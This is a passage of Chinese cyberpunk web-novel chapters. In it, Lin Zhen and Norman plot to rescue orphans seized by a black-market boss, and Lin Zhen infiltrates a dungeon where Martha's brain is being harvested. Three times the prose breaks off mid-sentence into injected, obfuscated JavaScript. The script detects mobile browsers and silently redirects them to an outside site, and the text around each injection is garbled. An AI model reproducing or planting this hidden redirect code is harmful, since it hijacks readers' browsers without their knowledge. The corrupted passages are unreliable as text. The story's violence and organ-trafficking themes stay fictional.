衣服因为高温变得柔软干燥,将所有想要涌出的泪水吸收殆尽。 外间,诺曼打开了屋子的安保系统。 隐藏在墙角、地板、天花板的金属层打开,探出冷冰冰的枪管。他把林真的匕首涂上油,横放在架子上,然后转身坐上高脚凳,背对着浴室,把随身的配枪拆了装,装了又拆。 里头的水声和烘干机的声音停下了。 诺曼停顿了一下,可没有人出来。等他再一次给手枪上膛,里头依旧是一片沉默。 他快速地回忆了一遍浴室里有没有能用来伤人的东西,又等了五分钟,起身走到浴室门前,轻敲两下。 “咚、咚” 门立刻被打开了,林真走出来。 她已经换回了白天的衣服,刚洗过的头发贴着脸颊。 她的眼眶和鼻尖还残留着淡淡的红痕,但语气平静得像什么都没发生过:“我洗好了。” 一股冷气随着她从浴室一同出来。诺曼扫了一眼浴室,心下了然。 “暖气在沙发后面。”他说道。 “不需要。” 诺曼看着她在沙发上坐定,片刻后叹了口气,“好歹把头发吹干,我不想我的沙发长出苔藓。” 25. 林真(二) 月光从百叶窗的缝隙挤进来,在地板上拉出一条条银白的纹路。 有机车从楼下呼啸而过,天花板上的枪管跟着转动,如同警惕的眼睛。 林真看向屋子里那块光照不到的角落。 诺曼洗漱完之后,就坐在那里,像一只蹲在树桩上的猫头鹰。 “你睡不着。”阴影里传来诺曼的声音。 “诺曼,常七爷是什么样的人?” “你这辈子都不想遇到的人。脑子、人口、器官、仿生部件,他什么都卖。他有一份商品列表,每年更新一次,黑街的人每年都在祈祷自己不要出现在那个列表里。” “那我应该已经上过那个列表了。” “至少你已经被勾掉了。” “是啊,因为林雪。”林真的声音低落下去。 “嘿,莫恕和我的脑子还在上面呢。” 林真的眼皮越来越沉重了,她含糊道: “你这么说话,我都要以为……你在安慰我了。 她翻了个身,面对沙发背,把自己缩成一团。月光从沙发靠背上越过,落在她瘦削的肩膀上。 “背对着门睡觉。”诺曼低声道,“上层区来的人。” 天花板上,两条原本对着窗户的枪口悄然转动方向,指向了门口。 有一句话他没有说。 常老七,是绝对不会空手而归的。 林真睡了很沉的一觉,哪怕清晨兢兢业业上工的扫街人和倒霉蛋们的惨叫也没能吵醒她。 她醒来时,发现自己把脸埋在毯子里。呼吸打湿了毯子的绒毛,鼻尖一片温热。 阳光透过百叶窗,把屋子切割成金色和灰色的条纹。 “嘎吱——” 卫生间的门打开了。水雾弥漫出来,模糊了光线。 诺曼只穿着一条深灰色的长裤走出来。深蓝色的浴巾盖在头上,随着他擦头发的动作,露出颈部到腹部的肌肉线条。 水珠顺着他的头发滴落,翻过锁骨,在阳光下折射出淡淡的金光。 林真没出声,眼珠子轻轻转动,数了一下腹肌。 一、二、三、四……六块。 她看向被毛巾挡住的脸。 毛巾终于从诺曼脸上移开,搭在肩膀上,露出戴着黑色金属面罩的脸。 “唉——” 林真长长地叹了口气。 诺曼的目光一下子扫过来,“醒了?” 他向着沙发走过来,在林真面前蹲下。 浴巾下摆落在大腿上,敞得更开了。他的身体带着水汽和热气。光线落在皮肤上,泛起一层氤氲的色彩。 林真的脸一点点红了。她把下半张脸埋进毛毯中,只露出一双漆黑的圆眼睛,眨了一下。 “好看?”诺曼调侃道。 毯子里一片死寂。 过了半秒,一个闷闷的声音钻出来:“……好看。” 诺曼嗤笑一声,“没出息。” 下一秒,毛毯猛地一掀。 一根细长的手指“唰”地探出,像出鞘的匕首,戳在他胸口正中。 狠狠一按。 诺曼反应极快,身子一仰,稳稳捉住林真的手腕。 “嘿,手腕还没枪柄粗,野心这么大。” 林真的手掌张开,只抓到一把空气。她愣了一下,随即挑起眉梢,眼神带笑,拇指与食指缓缓搓了搓:“说谁没出息呢?” 她的声音带着刚醒的低哑。 这回换诺曼愣住了。他低笑一声,松开林真的手腕。 “幼稚。”他说着站起身,坐上高脚凳,随手捞了一件衬衫披上。 头发晃动里,林真扑捉到一点通红的耳尖。 等她洗漱完,诺曼的衬衫还没有扣好。 早饭是毫无新意的营养剂,味道寡淡,像是石灰水,喝得人万念俱灰。 林真喝着喝着就发起了呆。 诺曼瞥她一眼:“想什么呢?我这里没有草莓味的。” “想玛莎。” “怎么?” “我想再回去一趟。” “想听她道歉啊?” “我不知道,总得有个了结。” “死心眼子。”诺曼放下营养针,“我建议你别去。” “为什么?” “因为事情往往不会如你所愿。” 他们翻过居民区的围墙,再一次来到收养院的门口。 收养院的门昨晚被撞坏了,歪在一旁。玛莎应该拿不出修理的钱。林真下意识算了下自己的余额,回过神来,骂了自己一句“多管闲事”。 她抬脚迈过门框。 现在这个时候,所有人都应该已经起来了,小孩子们应该在工厂里疯跑。 可收养院里安安静静。 她快步走进那间熟悉的睡房。大通铺凌乱不堪,小被子小毯子扔得到处都是,几只破开的枕头吐出棉絮,像雪一样铺在床板上。 她脚步一顿,转身走进玛莎的房间。玛莎不在。隔壁的祷告室里也空无一人。电子蜡烛倒了,绣着圣母像的挂毯落在地上。 林真目光一凝,走到墙边。 挂毯背后的墙壁上,被人刻下了两行名字。 第一行在她头顶的位置,只刻着一个英文花体的名字:索菲亚。 而第二行在她肩膀的位置,字迹各有不同: 安妮,狗子,张有钱,茉莉,安恬。 五个名字。 五个孩子。 这就是玛莎的名单了。 安恬的名字最新,也最浅,好像被人用指甲刮过,墙灰剥落。 林真的手指按上歪歪扭扭的字迹,“诺曼,他们都不见了。” 诺曼靠在门口,抱着双臂:“贼不走空呗,很常老七了。” 林真大步走过去:“常老七在哪里?” “嘿,嘿,你冷静一下,那可是黑街龙头常七爷。” “我怎么冷静?”林真抓住诺曼的领子,拉着他走进卧室,声音骤然拔高:“这里本来有十二个孩子,十二个!桃子,铁棍,耗子,塞克——” “咚”地一声,床板底下发出一点声响。 林真和诺曼顿住,视线齐齐扫向角落。 “是林真姐姐。”床板下传出一个细小的声音。 “笨蛋塞克,万一是黑街的坏人装的怎么办?”耗子的声音响起。 “耗子?”林真轻轻走过去,跪在床板上,对着声音传来的方向。 隔着床板,她听到了耗子的声音:“说口令!太阳当空照花儿对我笑,口令。” “小鸟说早早早,你为什么背着炸药包。” “口令通过。”最里面的一块床板被顶开,露出耗子黝黑的小脸。 林真一把抓住他的肩膀,把他拉出来。他浑身都是灰,像条小狗一样原地抖了抖。 接下来是塞克,他一钻出来就死死抱住林真,把脸埋在她的肩膀。 “只有你们两个?”林真看向黑洞洞的床底。 耗子点了点头,合上床板,一脚踢在塞克的屁股上:“坏人冲进来的时候,桃子姐姐只来得及把我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975648|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞进去,然后我抓住了塞克。塞克你个胆小鬼,就知道哭哭哭,差点害我被发现!” “我没哭——呜——”塞克死死攥住林真的衣服,把整个人藏进她的怀里,“他们把大家都抓走了……” 他哭得打嗝。 林真揉了揉他的脑袋:“没事了,塞克,没事了啊。” 她看向耗子,张开另一只手。 耗子愣了一下,嘴巴抿成一条直线。他原地挪了两步,终于低下头走过来,把脑袋抵在林真的另一边肩膀上。 两个孩子就这么趴在她身上。 身体冰凉,瑟瑟发抖。 “姐姐……”耗子小声说:“你带我去黑街把大家都找回来吧。” “带你有什么用?”诺曼抱着胳膊,哼了一声,“进了常七爷嘴里的肉,还没有人弄出来过。带你给他塞牙缝啊?” 耗子跳起来就要去打他。 塞克发出一声响亮的嚎哭。 林真右手抓住耗子,左手抱着塞克,扭头看向诺曼。 “干嘛,我说的是实话啊。”诺曼一摊手。 “他不行,那你呢?” “我怎么?”诺曼警觉地眯起眼。 林真拍了拍耗子和塞克,让他们原地待着,将诺曼拉到走廊里。 “诺曼,我和你,我们去找常七爷。” “别拉上我,我不会为了这两个小崽子冒险。” “是十个。” “一百个也一样。” “诺曼,你不是要我去脑一个人吗?” 诺曼低下头,抬手点了点她的太阳穴:“骇客小姐,大脑病毒,我们签了协议的。” “那你现在使用它,”林真抓住他的手,按在自己的脑机接口处:“用它控制我。现在。” 指尖碰到金属接口,一点微弱的电流炸开。诺曼一瞬间僵住了,手下迟迟没有动作。 “你为什么不用,诺曼?”林真上前一步,盯着他的眼睛,“你是在诈胡,还是你担心控制不了我?莫恕说这个能控制B级以下的脑子,那么B级呢?” 她完全不怕,甚至松开了手,将脆弱的接口毫不设防地送上。 大脑,意识,性命。 诺曼眼中闪过一丝冷意,扣住她的后颈,指尖死死按着她的颈椎骨。 林真顺着他的力道向前一步,接着说: “我能听到你在骂莫恕,看起来他说的没错。” “诺曼,我是B级的脑子,我甚至不需要入侵设备,你不会找到比我更合适的骇客了。” “你和我去,我就帮你入侵那个脑子。哪怕我只剩最后一口气,你要的,我一定会替你拿回来。” 诺曼没说话,呼吸却明显粗重了几分。 “就为了这些人?” “对。我乐意。” “我要你入侵的人,是大脑农场的最高管理者。” “哪怕是联邦的总统,我也入侵给你看。” 他们离得那么近,连呼吸都纠缠在一起。 因为愤怒,林真的眼睛黑亮,素来没有血色的嘴唇泛起一点嫣红。她像一簇小火苗,连呼出的气都是热的。 这一瞬间,好像她真的能干掉联邦总统似的。 诺曼盯着她的眼睛,发现自己无法拒绝成为她的共犯。 “联邦没有总统,蠢货,只有议长。”他冷笑一声,后退一步,在面罩下咬紧了自己的嘴唇。 “我们需要做一些准备。”他终于松了口,“了不起的骇客小姐。” 如同嘲讽,如同投降。 26. 林真(三) 黑街一处隐蔽的仓库里,莫恕看着两个吱哇乱叫的小萝卜头,瞪大了眼睛,看了看诺曼,又看了看林真。 “……等下,这俩?就这一晚上?昨天还没有的哈?你们两个?” 话音未落,诺曼一巴掌拍在他后脑勺上,“你的脑子是不是荧光剂打坏了?” “哎哎哎,别别别,提神剂要从耳朵晃出来了。”莫恕揉了揉自己的脑瓜子,在耗子面前蹲下,捏住他的下巴:“也是,不像你们两个,有点丑哈哈的。” 耗子没听懂他在说什么,但是本能地一缩脖子,一口咬在莫恕的手上。 塞克无条件支持自己的小伙伴,一个头槌顶在莫恕的腰上。 仓库里一时间充满了快活的声音。 诺曼背过身去,打开旁边的箱子,挑出一把哑光黑的匕首,挽了个花,熟练地插进靴子里。他又打开一只铁皮箱。箱子内,一挺沉甸甸的萨科狙击枪静静躺着。 “和你之前的很像。”林真评论道。 诺曼点点头。 “诺曼,你要这么多家伙,要干什么去?”莫恕好不容易从地上爬起来,扶着腰喘着气问道。 林真回答:“我们要去常老七那里救几个人。” “救人!”耗子扯着嗓子跟着喊了一句。 “开什么玩笑?常老七,救人?那这些家伙也不够啊。”莫恕话没说完,耗子又一口咬在了他的手腕上。 “你小子属狗的啊!”莫恕倒吸一口凉气,一手拎着一个小崽子,走到林真和诺曼旁边,压低了声音:“说起来,我昨天和我客户喝酒喝到半夜,他跟我说——” “等一下。” 林真打断他,蹲下身揉了揉两个孩子的脑袋:“去门口站岗。现在,快去。” “黑街的小孩不需要保护。”诺曼不赞同道。 “至少不是今天。”林真态度坚决。等两个小孩子跑远了,她才对莫恕点点头。 莫恕咂了咂嘴,欣赏完了这一出家庭纷争,接着说:“我那客户收到消息,常七爷昨天刚搞到一批活体器官,听说还有一支大脑稳定剂,要拍卖呢。” 诺曼合上箱盖,扣上锁扣,一边问道:“拍卖是什么时间?” “器官呢?也一起拍卖吗?”林真接着问。 莫恕沉吟了一下:“那就不好说了,这东西的买主主要还是上层区的人,你也知道的,咱黑街的人可用不起这种货色。如果有哪个‘快翘辫子的有钱老爷’或者‘想要永保青春的有钱太太’想插队,那可能是昨天,可能是现在,也可能是明天。” 林真的神色沉下来:“我不能等到拍卖,诺曼。常老七抓来的人一般关在哪里?” “嘿,这个我真知道。”莫恕骄傲一笑,“诺曼也知道,对吧?” “你是被抓进去的。”诺曼淡淡道,“我是自己进去的。” 莫恕哼了一声,“是哦,那时候你还在给绿曼巴跑腿呢。” 他说着蹲下,随手在地上的灰尘中用手指画了个大方块,“这是常七爷的地盘。” 他在大方块里又画了四个对称的小方块:“赌场、风月馆、赛狗场、拳击台,常七爷的四个聚宝盆。它们的地下就是地牢。诺曼,我说的没错吧?” 诺曼点了点四个小方块中间,“这里有栋楼,是常老七地盘的核心,地下是地牢和手术室。地上两层是干部们的地盘。三层往上是常老七的私人空间。我只上过二楼,每一层都有人巡逻,上楼需要开全套生物锁。” 莫恕咂了一下嘴:“依我看,就你们两个人,就算一人背一辆坦克,也别想从常七爷那抢人。” 诺曼斜睨了他一眼:“你有坦克?” “我就是打个比方。那么多生物识别,你诺曼就是能换一张常七爷的皮,也上不去。更何况你们还干掉了绿曼巴,现在想伪装她都没门了。” 诺曼用匕首在地上划出两条线,“要进地牢,有两个办法。一个是拳击台,生死赛输了的,会通过地道送往地底手术室。另一个风月馆,被盯上的客人会被下药,同样也是地道,直接送去手术室。” “你们两个,谁要去打黑拳?”莫恕左右看了看,小声嘀咕道:“我看你们俩都不成。” 林真盯着地上的线条,指尖轻敲膝盖。 “输拳和被下药……”她轻声说,“都在赌命,下去就是任人宰割。不是不能做,但不确定性太高。” 她沉吟片刻,忽然抬头:“大脑稳定剂,常老七敢拿出去拍卖,就说明已经有人验过货了,对吧?他常老七不能自卖自夸,拍卖总得有一个第三方作保,不是吗?” “啊?”莫恕愣了愣,挠了挠后脑勺,一脸空白。 “这里还有一个人。”林真看向诺曼。 黑街的第三方,能给“大脑稳定剂”打保票的,就只有一个人了。 诺曼点点头:“药师。” 林真再一次来到药师的住所。 屋子里空空荡荡的,所有苔玉球都消失了,只剩一串串细线从天花板垂落,在空中轻微摆动,像是吊死过人的索套。 这间屋子仿佛失去了所有生气。 药师穿着黑色的浴衣,伏跪在地上,额头紧贴冰冷的木地板。 “二位到来,是要喝茶吗?” “木下枝理,别演了。”诺曼虽然戴着莫恕的脸,但已经不再伪装了,“等你下毒吗?” 林真抬手制止了他,走向矮桌,在桌前坐下,“药师,木下枝理,我来问一件事。” 药师低头膝行到桌前,双手交叠放在桌面上,低眉顺目,轻轻点了点头。 “常七爷弄到了一支‘大脑激活剂’,你知道吗?” 药师沉默了片刻,突然将额头重重磕在手背上:“万分抱歉!” 林真一愣:“……什么?” “是我处理的药剂。回收‘大脑激活剂’并不容易,药性会变一点,药效也会降低一点……所以我回收了一部分,才意识到……” “你意识到什么?” “那是您拿去救人的那一瓶。” 林真仿佛被谁一脚踹进冰水里。 她的耳边响起嗡鸣,手指冰凉,眼前的画面开始晃动。 吃下去的粉还能掏出来吗? 喝下去的药还能收回来吗? 那人,还能是人吗? 嗡鸣声在她脑子里疯长。她双手下意识紧握,一字一顿道:“你说……你是怎么回收的?” “切块,过滤,富集,浓缩。”药师一个词一个词往外蹦。 她说得含糊,但林真瞬间理解了。这一切动词的主语,是玛莎的大脑。 那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983631|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拼命救下来的人,那是她带给孩子们的希望。 那是她曾经依恋过的长辈。 她的喉头发紧,有什么在往上涌。她按住自己的嗓子:“你动了她的脑子?” “要回收药物,我必须……” “你动了她的脑子!”林真没有意识到她已经在大喊:“她人呢?我问你,她人呢?” 药师将头再次重重磕在矮桌上:“还活着……但生不如死。” 林真扶着桌子站起身,胸口剧烈起伏:“她人在哪里?带我过去!现在!” 诺曼握住她的肩膀。他能感觉到林真在颤抖,肩膀的骨头硌着他的掌心。 “林真,冷静,听我说——嘿,冷静一点,听我说。” 他的掌心温热,指腹按在林真的太阳穴上。 “林真,”他低声说,“你是不是要救她?那就冷静下来。” 林真闭上眼,手指紧紧扣住诺曼的手腕。 良久,她睁开眼睛。她的声音又变了,变成锋利的冰刺:“药师,你说玛莎还活着。她还能活多久。” “今天晚上。今晚我应该去处理剩下一半的大脑。” “哪一半?” “右半脑。” 林真的眼睛眨了一下,语调却没变: “右半脑,所以她的心跳还在,脑干反射也许保住了,但语言没了,认知没了,情绪调控也没了。要是运气好一点,她可能会睁开眼,却再也认不出人了,对吗?” 诺曼的背脊瞬间起了一层冷汗。他看向林真,有心想问:你怎么知道这些?你以前是干什么的? 药师惊讶地抬头看了林真一眼,点点头。 “那就今晚,”林真说,“我和你去。” 诺曼不能再沉默了,“如果你说的没错的话,你是要救一个……活死人?她曾经——” “是,”林真打断他,“她曾经出卖我,我记得。我也知道,我救她,可能只是救回一具永远醒不过来的空壳。” 她抬起右手,眼神落在手心。 “那瓶大脑稳定剂,是我亲手打进去的。用的是腰椎穿刺,用的就是这只手。是我打进去的,诺曼,我得负责。” 她的声音不容置疑。 “药师,给我准备一套衣服,今晚我当你的助手。” 药师伏低身子:“我知道了。但是这会很危险,请再考虑一下。” “你闭嘴。”诺曼呵斥道,抓住林真的手臂:“林真,就算你救了玛莎,其他的孩子怎么办?你想过没有?” 太阳已经走到了正中,热气蒸腾上来,熏得人心生焦躁。林真靠着栏杆,站在门廊下。 她已经站了很久,但这日头迟迟不肯落下。 诺曼看着她的背影,问道:“你想好了吗?” 林真回头,露出一个勉强的笑。 “诺曼,我这人是不是很贪心?我又想要我的良心安稳,又想要把孩子们安稳带回来。” 她如何不知道,一个都不能少的现实往往是一个都救不了。 成年人嘴里说着我都要,到最后往往两手空空。 可她咬了咬牙,“我有那个能力,我还是想试试。” 诺曼叹了一口气,走过去站到她身旁: “那就再贪心一点,让我陪你去。” 27. 浪头(一) “浴衣是一种轻便的和服,穿的时候记得左襟压右襟,这里是腰带——” “你等等。”诺曼按住那条银蓝色的腰带,眉头皱得死紧:“你有没有觉得这里有什么问题?” 林真把手臂伸到诺曼手边,比了一下肤色。 “你和药师差不多白,你还可以换脸。有什么问题?” “我是说我陪你去,但我没有说我来扮演药师。”诺曼站起身,拿起浴衣往肩膀上一按,一脚踩上矮桌。 浴衣下摆刚到他的膝盖,露出修长有力的小腿和四十五码的作战靴。 “你自己看看,这能合适吗,啊?”诺曼低头问道。 林真想象了一下画面,一米六的药师,一米一的腿。 她捂住脸:“可能药师今天吃了太多写着‘吃我’的小蛋糕。” “什么小蛋糕,加了生长剂的吗?”诺曼把手里的浴衣直接盖在她头上。 林真抓着浴衣,从底下露出脸来:“干什么?你要我穿啊?” “你说呢?” 浴衣是蓝黑色的,宽大的袖口与下摆滚着两圈银白的樱花。宽腰带上织着银色的海浪纹路。 药师跪着帮林真将腰带收紧、打结,又仔细地把结挪到右侧,捋平褶皱。 “好了。”她轻声道,打开妆盒。 林真低头让她描绘妆容,等到画完最后一笔,她睁开眼,神色全变了:“头发不用麻烦了,给我一根簪子就好。” 药师拿来一根黑色的木头簪子。 这簪子也不知道是乌木还是檀木,拿在手里沉甸甸的。末端的机关一按,前头就探出一根银针。 “有毒?” “TTX。” “河豚毒素。”林真了然。 她看了药师一眼,手指翻飞,三两下将头发绕成一个简洁利落的发髻,簪子一转一挑,稳稳固定。 接着,她缓缓起身,走了两步。 诺曼正靠墙坐着休息,听到脚步声抬起头来,看了一眼,评价道: “凑活吧,七十分,但是你连话都不说,人家怎么信——” 林真回头,眼尾的红色一扫:“怎么?” 诺曼剩下的半句话就卡住了,他咳了一声,贴着墙站起:“……没有你平时顺眼。” “我也这么觉得。”林真从他手里抽走匕首,撩起浴衣下摆,露出里头紧身的长裤。 她将匕首插进大腿外侧的皮套中,动作利落、毫不遮掩,倒显得别过脸去的诺曼有些多余了。 如药师所说,常七爷的人在六点准时到了。 黑色的轿车在门廊前停下,驾驶座的车门“咔哒”一声打开,一个光头男人跳下车来。他的右手和半边胸膛都是冷光森森的金属义体,胸口刺着龙蛇缠绕。龙嘴中那颗墨绿的珠子,正好纹在他的喉结上。 他走到后座,正要拉开车门,忽然看见门廊下站着两人。除了药师,还有一个陌生的高个女人。 光头停下动作,问道:“药师,请问这是?” 林真没动,眼锋扫过去。 感谢莫恕送来的高科技美瞳,她的左眼已经变成了纯白色。 纯白眼珠没有瞳孔,反射出血红的霞光。 那种非人的感觉,让被盯上的人头皮发麻。 她居高临下地睨了光头一眼,从鼻子里吐出一个不耐烦的音节: “嗯?” 光头像被电了一下,立刻低头鞠躬,语速飞快:“您请您请。” 诺曼跟在林真身后,一身黑衣。他已经换上了一张中性的面孔,头发扎在脑后,神情冷淡。 “我是木下小姐的助手,也是保镖。”他说。 光头顿感压力山大:“我们自然会保证药师的安全。” “药师安不安全,我说了算。”诺曼说道。随着他的话音落下,一把细长的军刺已经贴上了光头的喉咙,“再废话,我把这颗珠子给你剜下来,塞你嘴里。” 喉咙处的寒意让光头瞬间变了脸色。他拼命仰起头,脖子上青筋突起,连口水都不敢吞。 另一边,林真看到这一幕,勾起嘴角,抬脚上车。 浴衣的黑色下摆擦过车沿,衣角的樱花无声落下。 黑车像摩西分海一样穿过街道。街角的秃鹫纷纷低下头去,醉汉们的争吵声也戛然而止。可也有醉到不行的人,叉着腰冲着黑车破口大骂常老七的祖宗。 一旁,调酒师眼神一变,快步上前,手里的冰锥一闪。 那个人就软软地倒下去了。 调酒师拔出染血的冰锥,横在肩头,朝黑车低头致意。 林真收回目光。 车子进入了一片灯光明亮的区域。 这就是黑街的中心,常七爷的地盘。 赌场,赛狗,风月馆,拳台。欲望的四大祭坛。 你可以在这里一夜暴富,也可能一出门就被拆成一地碎片。 黑车经过拳击场的门口,血红色的彩灯刚刚亮起,电子告示牌还是黑色的。 林真突然抬起手。 光头从后视镜里看到这个动作,立刻问道:“药师?” 诺曼开口了:“药师对今晚的拳赛感兴趣。今天谁上台?” “今天有重量级的比赛,这个月刚出的黑马,‘野人’,挑战拳台的常胜将军‘暴熊’。” 意识链接里,林真对诺曼说:你猜对了,接着问。 ——当然。诺曼回复道,接着开口:“黑马?又要骗一波人下注了?” 光头压低了声音:“不不不,这次可不一样。既然药师有兴趣,我也不藏着掖着了。七爷说‘暴熊’在这个台子上待了太久了,需要给新人腾腾位子了。” “他能愿意?” “呸,七爷捧着他,他就是暴熊,七爷不捧他了,他就是死熊。药师要是看上什么器官,尽管和七爷说,热乎的今晚就给你上来。” “别废话。拳赛什么时间。” 怪不得能当保镖呢,药师一句话没说,她倒能看出一堆话来,光头心里腹诽,可脸上还是挂着笑:“再过一个小时。药师还有什么想问的?” “想来常七爷也不介意,今天药师小玩一把吧?” “自然,自然。”光头抽出两张黑卡,递给诺曼:“VIP包厢,七爷祝药师玩得尽兴。接下来的事,也请药师多多上心了。” 车子开过了拳击场。在周围的一片灯红酒绿中,一栋黑色的建筑拔地而起。这座建筑四四方方,没有窗户,如同一块巨大的金属墓碑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000122|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 光头将车开到建筑后头,贴着墙停好,然后用力拍了下方向盘。 “嘟——” 鸣笛声传出老远。 建筑外墙上,“啪”得一声弹开一个手掌大的观察窗。 “赖头蛇,来啦?”里头有人拖着调子问。 “那可不,两位贵客。”光头忙不迭地应道。 蓝光从观察窗里照出来,缩成三束,停留在光头、诺曼、和林真的左耳处。 林真戴着药师的芯片,诺曼戴着不知道哪一个手下败将的芯片。 里头那人确认了身份,叮嘱了一句“枪不能带”,打开了机关。 车子停着的地面开始缓缓下降,沉入地下。 随着车辆停稳,周围亮起冷白的灯光。 光头舔了舔后槽牙,正想献献殷勤,就看见那个保镖已经帮药师拉开了车门。他动作一顿,心里直翻白眼,也懒得下车了,索性窝在座椅里,眼珠子盯着后视镜,视线黏在林真身上。 天知道女人怎么能长成这么一副身段,那么细的腰,那么薄的肩。那浴衣穿得也忒挑人,走一步就晃一下。真不枉他酒也不喝,跑来干司机的活儿。 突然,一把军刺“叮”地一声刺在后视镜中央。 玻璃炸开网状的裂纹。 光头的瞳孔一缩,正对上那个黑衣保镖的视线。 他的脖子一凉,赶紧摇上车窗。 破碎的后视镜里,两个人一前一后地走远了。 光头低声啐了一口,嘴里骂道:“妈的,两个娘们儿,迟早,迟早——” 可他“迟早”了半天,也没憋出下半句,好像那军刺还搁在他脖子上似的。 林真按照药师画的地图往前走。 地下空间是长方形的,每一个角上都设置了值班室。里头传来喝酒打牌声,甚至还有呻吟声。 长方形的四条边上紧密地排着狭小的牢房,里头黑洞洞的。 林真不着痕迹地打量着一间间牢房,希望能找到安恬他们。 “林真。”脑子里,诺曼的声音突然响起,“我们到了。” 长方形的中间,是一片手术室。手术室的玻璃幕墙正对着牢房,向囚徒们展现着他们的结局。 “诺曼。”林真轻声说。 “我在。” 林真深深吸了一口气,抬脚走向手术室。芯片读取,玻璃门自动打开,冷气扑面而来。 她一步一步往里走,听到自己的脚步声,在狭小的空间里回荡。 玛莎苍白如大理石的脸映入她的眼睛。她的头盖骨已经没有了,换成了一个透明的玻璃罩子。里头,脑子只剩下一半,苍白的,像是一团洗干净的鸭肠,浸泡在无菌液体中,缓缓蠕动。 诺曼在意识链接里听到林真发出一声尖叫。他赶紧看向林真。但林真的脸上,却没有半点波澜,连眼睛都没有眨一下。 他确信自己听到的不是幻觉,犹豫片刻,还是问道:“你还好吗?” 林真没有说话。她死死咬住了自己的舌尖,直到尝到血的味道。 她将血腥味尽数咽下,对诺曼点点头。 诺曼走到她身后,默不作声地帮她脱下右侧的衣袖,绑在腰带上,露出右臂和里头白色的裹胸。 28. 浪头(二) 这地方根本不能算是个手术室。 手术服是不用换的,消毒措施是没有的。他们根本不在乎动手术的人活不活的下来。 林真在推车底下找到一盒医用手套,从里面抽出两只套上,又戴上口罩和手术帽。她小心地撑开玛莎的眼皮,用笔灯晃了晃她的瞳孔。 她第一次意识到,玛莎的瞳孔是深灰色的。在她有限的接触里,这双眼睛一直笑着,被松弛的眼皮和深深的眼眶藏住。 她用笔灯再晃了一下,瞳孔缓慢地收缩了一点。 林真松了一口气:“她还在,但时间不多了。” “你打算怎么办?现在带她去拳击场?” 林真仔细检查了一遍玛莎脑子上连着的管线和维生装置,确认那些能切断,那些需要带走。 “黑了这里,诺曼。我去找个人。”她说完,闭上了眼睛。 ESCAPE。 黑色的世界展开。 她看到半个属于玛莎的光团。光团是很浅的紫色,里头包裹着石头一样的灰色。 她停顿了一下,意识接着往外铺展。 常七爷的地牢里关着四十三个人,一半多都是青蓝色的好脑子。与之相对的是地牢的四个角,那些浑浊的蓝紫色的脑子,是十二个打手和守卫。 而离林真不远处,还有一个手术室正在使用。 常七爷拳台的摇钱树,“暴熊”,正在这里接受比赛前的改装。 林真悄无声息地潜入医师的脑子。这人姓吴名魁,五区编号2000099023。此人情绪非常紧张,脑子里的对话框们隔两秒就抖一下,像是暴雨夜的电灯泡。 借着吴魁的眼睛,林真看到“暴熊”被固定在合金手术椅上。 “暴熊”的皮肤是褐色的,肩膀和腰部钉着厚厚的红铜色合金装甲,接缝处凝固着黑红色的血液。他正闭着眼睛,从鼻子里吐出粗重的喘息声。 他的两条合金手臂都被卸下来,挂在两旁。机械臂正把指关节上断裂弯曲的钢钉切下来,焊上新的。 打什么能把钢钉打断? 这看起来不是什么正规拳赛。 这是奔着要人命去的。 吴魁正在给暴熊胸口的一道新伤缝线。 钢针穿过皮肤,合金细线绷紧,带出一串血水。 暴熊脖子上的肌肉突起,如同一条条钢索。 “不要动。”吴魁赶紧说。 “那你缝快点,娘们唧唧的!” 林真在吴魁的脑子里坐下,随手拉过一个对话框,就看到他在腹诽: ——鬼信你啊,要不是我先卸了你两条胳膊,我就要去见老张了,我可怜的老张。还好,再缝五针就结束了。良子姐姐还在等着你呢!加油啊,小葵花…… 这人嘴很碎,手很抖,医师证没有,纯属赶鸭子上架。 林真看着他哆哆嗦嗦地打医用结,手一抖,把好不容易缝好的伤口又扯开了。 真是造孽。 她抬起右手,勾了下手指。一根意识锁链从主运动皮层飞来,落入她的手心。她右手张开,锁链末端瞬间分成五股,分别绕上她的五根手指。 吴魁的右手突然就不抖了。 一圈正,一圈反,第三圈收束加固。 钳头一挑,剪线,预留一点线尾。 吴魁长长呼出一口气,在心里感谢了一遍各路神仙,还有可怜的老张。然后他放下手术钳,打开一旁的金属箱子。 他拿出三管针剂,放在操作台上。 “怎么今天是三管?”暴熊听到声音,睁开眼。 “七爷,七爷吩咐了的。” “平时都是两管的,七爷是不是不放心我?” “不不不,毕竟是‘野人’,能稳,稳妥一点。” 暴熊大喝一声:“嘿呀,什么‘野人’,老子今天就把他打成野狗!让他娘后悔怎么生他的时候没给他带条尾巴!” 他身上的肌肉贲张,腿上的合金固定环瞬间崩裂。 